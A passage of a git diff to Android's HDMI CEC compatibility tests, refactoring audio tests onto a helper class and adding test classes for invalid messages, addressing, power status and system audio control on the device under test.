-        muteDevice();
+        AudioManagerHelper.muteDevice(getDevice(), hdmiCecClient);
         int reportedVolume = getDutAudioStatus();
         /* If device is muted, the 8th bit of CEC message parameters is set and the volume will
         be greater than 127. */
@@ -428,21 +322,29 @@
      */
     @Test
     public void cect_11_2_15_13_ValidShortAudioDescriptor() throws Exception {
-        hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
-                CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR, getRequestSadFormatsParams(true));
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.TV,
+                AUDIO_DEVICE,
+                CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR,
+                AudioManagerHelper.getRequestSadFormatsParams(getDevice(), true));
         String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
                 CecOperand.REPORT_SHORT_AUDIO_DESCRIPTOR);
+        int numFormats =
+                Math.min(
+                        AudioManagerHelper.mSupportedAudioFormats.size(),
+                        AudioManagerHelper.MAX_VALID_AUDIO_FORMATS);
         /* Each Short Audio Descriptor is 3 bytes long. In the first byte of the params, bits 3-6
          * will have the audio format. Bit 7 will always 0 for audio format defined in CEA-861-D.
          * Bits 0-2 represent (Max number of channels - 1). Discard bits 0-2 and check for the
          * format.
          * Iterate the params by 3 bytes(6 nibbles) and extract only the first byte(2 nibbles).
          */
-        for (int i = 0; i < Math.min(mSupportedAudioFormats.size(), MAX_VALID_AUDIO_FORMATS); i++) {
+        for (int i = 0; i < numFormats; i++) {
             int audioFormat =
                     CecMessage.getParams(message, 6 * i, 6 * i + 2) >>> 3;
             assertWithMessage("Could not find audio format " + audioFormat)
-                    .that(mSupportedAudioFormats).contains(audioFormat);
+                    .that(AudioManagerHelper.mSupportedAudioFormats)
+                    .contains(audioFormat);
         }
     }
 
@@ -454,8 +356,11 @@
      */
     @Test
     public void cect_11_2_15_14_InvalidShortAudioDescriptor() throws Exception {
-        hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
-                CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR, getRequestSadFormatsParams(false));
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.TV,
+                AUDIO_DEVICE,
+                CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR,
+                AudioManagerHelper.getRequestSadFormatsParams(getDevice(), false));
         String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.FEATURE_ABORT);
         assertThat(CecOperand.getOperand(CecMessage.getParams(message, 2)))
                 .isEqualTo(CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR);
@@ -470,7 +375,7 @@
      */
     @Test
     public void cect_11_2_15_16_UnmuteForSystemAudioRequestOn() throws Exception {
-        muteDevice();
+        AudioManagerHelper.muteDevice(getDevice(), hdmiCecClient);
         sendSystemAudioModeTermination();
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_SYSTEM_AUDIO_MODE);
         assertThat(CecMessage.getParams(message)).isEqualTo(OFF);
@@ -480,7 +385,9 @@
                     HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
         message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_SYSTEM_AUDIO_MODE);
         assertThat(CecMessage.getParams(message)).isEqualTo(ON);
-        assertWithMessage("Device muted").that(isDeviceMuted()).isFalse();
+        assertWithMessage("Device muted")
+                .that(AudioManagerHelper.isDeviceMuted(getDevice()))
+                .isFalse();
     }
 
     /**
@@ -499,7 +406,9 @@
         sendSystemAudioModeTermination();
         message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_SYSTEM_AUDIO_MODE);
         assertThat(CecMessage.getParams(message)).isEqualTo(OFF);
-        assertWithMessage("Device not muted").that(isDeviceMuted()).isTrue();
+        assertWithMessage("Device not muted")
+                .that(AudioManagerHelper.isDeviceMuted(getDevice()))
+                .isTrue();
     }
 
     /**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
new file mode 100644
index 0000000..b36bcac
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogHelper;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
+
+    private static final String PROPERTY_LOCALE = "persist.sys.locale";
+
+    /** The package name of the APK. */
+    private static final String PACKAGE = "android.hdmicec.app";
+
+    /** The class name of the main activity in the APK. */
+    private static final String CLASS = "HdmiCecKeyEventCapture";
+
+    /** The command to launch the main activity. */
+    private static final String START_COMMAND =
+            String.format(
+                    "am start -W -a android.intent.action.MAIN -n %s/%s.%s",
+                    PACKAGE, PACKAGE, CLASS);
+
+    /** The command to clear the main activity. */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    private LogicalAddress source;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    private String getSystemLocale() throws Exception {
+        ITestDevice device = getDevice();
+        return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
+    }
+
+    private void setSystemLocale(String locale) throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("setprop " + PROPERTY_LOCALE + " " + locale);
+    }
+
+    private boolean isLanguageEditable() throws Exception {
+        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+        return val.trim().equals("true") ? true : false;
+    }
+
+    private static String extractLanguage(String locale) {
+        return locale.split("[^a-zA-Z]")[0];
+    }
+
+    @Before
+    public void setup() {
+        source =
+                (mDutLogicalAddress.equals(LogicalAddress.TV))
+                        ? LogicalAddress.RECORDER_1
+                        : LogicalAddress.TV;
+    }
+
+    /**
+     * Test 12-1
+     *
+     * <p>Tests that the device ignores every broadcast only message that is received as directly
+     * addressed.
+     */
+    @Test
+    public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
+        /* <Set Menu Language> */
+        assumeTrue("Language should be editable for this test", isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+        try {
+            hdmiCecClient.sendCecMessage(
+                    source,
+                    mDutLogicalAddress,
+                    CecOperand.SET_MENU_LANGUAGE,
+                    CecMessage.convertStringToHexParams(language));
+            assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
+        } finally {
+            // If the language was incorrectly changed during the test, restore it.
+            setSystemLocale(locale);
+        }
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GET_CEC_VERSION>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
+        hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GET_CEC_VERSION);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.CEC_VERSION);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_PHYSICAL_ADDRESS>}
+     * if received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_PHYSICAL_ADDRESS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_POWER_STATUS>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_POWER_STATUS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.REPORT_POWER_STATUS);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_DEVICE_VENDOR_ID>}
+     * if received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_DEVICE_VENDOR_ID);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.DEVICE_VENDOR_ID);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_OSD_NAME>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
+        hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.SET_OSD_NAME);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <USER_CONTROL_PRESSED>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
+            throws Exception {
+        ITestDevice device = getDevice();
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        hdmiCecClient.sendUserControlPressAndRelease(
+                source, LogicalAddress.BROADCAST, HdmiCecConstants.CEC_CONTROL_UP, false);
+        LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
new file mode 100644
index 0000000..1c3e85a
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
+
+    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+
+    /**
+     * Test 10.2.1-1, 10.2.3-1, 10.2.5-1
+     * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+     * that the device has taken the correct logical address.
+     */
+    @Test
+    public void cect_RebootLogicalAddress() throws Exception {
+        ITestDevice device = getDevice();
+        device.reboot();
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+        int deviceType = CecMessage.getParams(message, 4, 6);
+        assertThat(CecMessage.getSource(message).getDeviceType()).isEqualTo(deviceType);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
new file mode 100644
index 0000000..94bfa51
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+    /**
+     * Test 10.1.2-1
+     * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+     * that the device has taken the correct physical address.
+     */
+    @Test
+    public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
+        ITestDevice device = getDevice();
+        String deviceType = device.getProperty(HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY);
+        int physicalAddress =
+                deviceType.equals(Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV))
+                        ? 0x0000
+                        : dutPhysicalAddress;
+        device.reboot();
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+        CecMessage.assertPhysicalAddressValid(message, physicalAddress);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
new file mode 100644
index 0000000..0e38b8c
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
+
+    private static final int ON = 0x0;
+    private static final int OFF = 0x1;
+    private static final int IN_TRANSITION_TO_STANDBY = 0x3;
+
+    private static final int SLEEP_TIMESTEP_SECONDS = 1;
+    private static final int WAIT_TIME = 5;
+    private static final int MAX_SLEEP_TIME = 8;
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+
+    /**
+     * Test 11.1.14-1, 11.2.14-1
+     *
+     * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x0 when the
+     * device is powered on.
+     */
+    @Test
+    public void cect_PowerStatusWhenOn() throws Exception {
+        ITestDevice device = getDevice();
+        /* Make sure the device is not booting up/in standby */
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+        hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+        String message =
+                hdmiCecClient.checkExpectedOutput(cecClientDevice, CecOperand.REPORT_POWER_STATUS);
+        assertThat(CecMessage.getParams(message)).isEqualTo(ON);
+    }
+
+    /**
+     * Test 11.2.14-1, 11.2.14-2
+     *
+     * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x1 when the
+     * device is powered off.
+     */
+    @Test
+    public void cect_PowerStatusWhenOff() throws Exception {
+        ITestDevice device = getDevice();
+        try {
+            /* Make sure the device is not booting up/in standby */
+            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+            /* The sleep below could send some devices into a deep suspend state. */
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            TimeUnit.SECONDS.sleep(WAIT_TIME);
+            int waitTimeSeconds = WAIT_TIME;
+            int powerStatus;
+            LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+            do {
+                TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
+                waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
+                hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+                powerStatus =
+                        CecMessage.getParams(
+                                hdmiCecClient.checkExpectedOutput(
+                                        cecClientDevice, CecOperand.REPORT_POWER_STATUS));
+            } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
+            assertThat(powerStatus).isEqualTo(OFF);
+        } finally {
+            /* Wake up the device */
+            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
new file mode 100644
index 0000000..319afb0
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+import android.hdmicec.cts.AudioManagerHelper;
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify system audio control commands (Section 11.1.15, 11.2.15) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
+
+    public boolean isDutTv;
+
+    public HdmiCecSystemAudioControlTest() {
+        super("-t", "a");
+    }
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.skipDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
+                    .around(hdmiCecClient);
+
+    @Before
+    public void initialTestSetup() throws Exception {
+        /*
+         * Set the device volume level to 20, because if the volume were 100% or 0%, it would not
+         * be possible to detect if there was an incorrect increase or decrease in level.
+         */
+        AudioManagerHelper.setDeviceVolume(getDevice(), 20);
+        TimeUnit.SECONDS.sleep(5);
+        isDutTv = (mDutLogicalAddress.getDeviceType() == HdmiCecConstants.CEC_DEVICE_TYPE_TV);
+        if (isDutTv) {
+            int initialDutVolume = AudioManagerHelper.getDutAudioVolume(getDevice());
+        }
+    }
+
+    /**
+     * Test 11.1.15-2, 11.2.15-11
+     *
+     * <p>Tests that when System Audio Control is On, the device sends {@code
+     * <USER_CONTROL_PRESSED>} and {@code <USER_CONTROL_RELEASED>} messages when the volume up and
+     * down keys are pressed on the DUT. Test also verifies that the {@code <USER_CONTROL_PRESSED>}
+     * message has the right control param.
+     */
+    @Test
+    public void cect_VolumeUpDownUserControlPressedWhenSystemAudioControlOn() throws Exception {
+        /*
+         * TODO: Remove the assumeTrue below and let test run for playback devices when b/172539380
+         * is fixed.
+         */
+        assumeTrue(
+                "Skip for playback devices (b/172539380)",
+                mDutLogicalAddress.getDeviceType()
+                        != HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+        ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(1));
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
+        String message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_PRESSED);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_CONTROL_VOLUME_UP);
+        hdmiCecClient.checkExpectedOutput(
+                hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_RELEASED);
+        /* TODO: b/174733146  For TV devices, assert that the volume level has not changed. */
+
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_DOWN");
+        message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_PRESSED);
+        assertThat(CecMessage.getParams(message))
+                .isEqualTo(HdmiCecConstants.CEC_CONTROL_VOLUME_DOWN);
+        hdmiCecClient.checkExpectedOutput(
+                hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_RELEASED);
+        /* TODO: b/174733146  For TV devices, assert that the volume level has not changed. */
+    }
+
+    /**
+     * Test 11.1.15-3, 11.2.15-12
+     *
+     * <p>Tests that the device sends {@code <USER_CONTROL_PRESSED>} and {@code
+     * <USER_CONTROL_RELEASED>} messages when the mute key is pressed on the DUT. Test also verifies
+     * that the{@code <USER_CONTROL_PRESSED>} message has the right control param.
+     */
+    @Test
+    public void cect_MuteUserControlPressedWhenSystemAudioControlOn() throws Exception {
+        /*
+         * TODO: Remove the assumeTrue below and let test run for playback devices when b/172539380
+         * is fixed.
+         */
+        assumeTrue(
+                "Skip for playback devices (b/172539380)",
+                mDutLogicalAddress.getDeviceType()
+                        != HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+        ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(1));
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_MUTE");
+        String message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_PRESSED);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_CONTROL_MUTE);
+        hdmiCecClient.checkExpectedOutput(
+                hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_RELEASED);
+        /* TODO: b/174733146  For TV devices, assert that the volume level has not changed. */
+    }
+
+    /**
+     * Test 11.1.15-4, 11.2.15-10
+     *
+     * <p>Tests that the device sends a {@code <GIVE_SYSTEM_AUDIO_STATUS>} message when brought out
+     * of standby
+     */
+    @Test
+    public void cect_GiveSystemAudioModeStatus() throws Exception {
+        ITestDevice device = getDevice();
+        /* Home Key to prevent device from going to deep suspend state */
+        device.executeShellCommand("input keyevent KEYCODE_HOME");
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        hdmiCecClient.checkExpectedOutput(
+                hdmiCecClient.getSelfDevice(), CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index 8adbb1d..e6bd499 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -18,18 +18,13 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assume.assumeTrue;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecClientMessage;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
@@ -37,6 +32,9 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.List;
+
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -66,18 +64,33 @@
     }
 
     /**
-     * Test 11.2.6-2
-     * Tests that the device sends a {@code <Report Physical Address>} in response to a
-     * {@code <Give Physical Address>}
+     * Tests 11.2.6-2, 10.1.1.1-1
+     *
+     * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
+     * <Give Physical Address>}
      */
     @Test
     public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
-        hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        /* Check that the physical address taken is valid. */
-        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
-        int receivedParams = CecMessage.getParams(message);
-        assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        List<LogicalAddress> testDevices =
+                Arrays.asList(
+                        LogicalAddress.TV,
+                        LogicalAddress.RECORDER_1,
+                        LogicalAddress.TUNER_1,
+                        LogicalAddress.PLAYBACK_1,
